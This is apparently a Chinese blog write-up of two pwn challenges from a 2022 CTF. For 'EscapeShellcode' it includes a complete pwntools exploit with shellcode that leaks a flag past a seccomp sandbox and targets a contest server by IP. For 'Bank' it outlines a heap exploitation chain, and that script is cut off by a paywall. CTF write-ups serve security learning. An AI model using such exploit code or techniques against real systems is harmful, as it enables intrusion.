第一题的第五个解出:

第二题的三血
总体难度偏简单。
EscapeShellcode
清空了所有寄存器(设置为0xdeadbeefdeadbeef),包括rsp。
flag读到了bss段上。
seccomp只允许调用read和write。这里我只用到了write。
利用的主要是:
write,read函数遇到不可读写的区域,会返回<0的值,且不会令程序崩溃。
- 首先利用syscall会给rcx赋值的特性,将rip的值赋给rcx。
- 将rcx赋给r8
- r8减去一个很大的偏移,令他小于codebase,将r8赋给rsi
- cmp rax,0,不断调用write。
- r8+=0x200
- 那么最终r8一定会落在codebase ±0x200范围内,这时候加上偏移0x3f00,加上write函数写的0x200字节,便一定能覆盖到flag。
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
context(arch='amd64')
# r = process('/mnt/hgfs/ubuntu/2022蓝帽/escape_shellcode/escape_shellcode')
r = remote('47.94.194.27',21957)
# gdb.attach(r)
shellcode='''
mov rax,0
syscall
sub rcx,0x3000000
mov r8,rcx
a:
mov rax,1
mov rsi,r8
mov rdi,1
mov rdx,0x200
syscall
add r8,0x200
cmp rax,0
jng a
add rsi,0x3f00
mov rax,1
syscall
'''
r.sendline(asm(shellcode))
r.interactive()
放一个打通的截图:

Bank
最开始程序没提供libc,有点搞。
程序代码比较多,稍微理一下逻辑:
实现了一个类似于银行功能:登录存款取款转账等功能。
存款上限为0x190,全存进去。
代码审计后发现只有转账功能中可以利用。
转账功能中有以下功能:

admin可以越界泄露,hacker可以任意地址free,guest稳定malloc(0x18)大小,ghost则是可以realloc,abyss则是任意地址写一次后调用exit()
思路:
- 通过realloc先free掉一个堆块,用admin功能show出堆基址。
- 伪造一个unsortedbin堆块,free掉他,同时用guest功能切割后show泄露libc基址。
- 然后用abyss功能打
exit_hook覆盖为ogg即可
难度应该主要在逆向了。
exp:
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/2022蓝帽/bank/Bank')</

本文介绍了两个挑战:EscapeShellcode中的内存覆盖技巧和银行应用的内存安全漏洞利用。第一部分涉及利用write函数进行代码执行,第二部分展示了如何通过内存操作和功能滥用(如realloc、memcpy)来获取 libc 基址并触发退出。
最低0.47元/天 解锁文章
674

被折叠的 条评论
为什么被折叠?



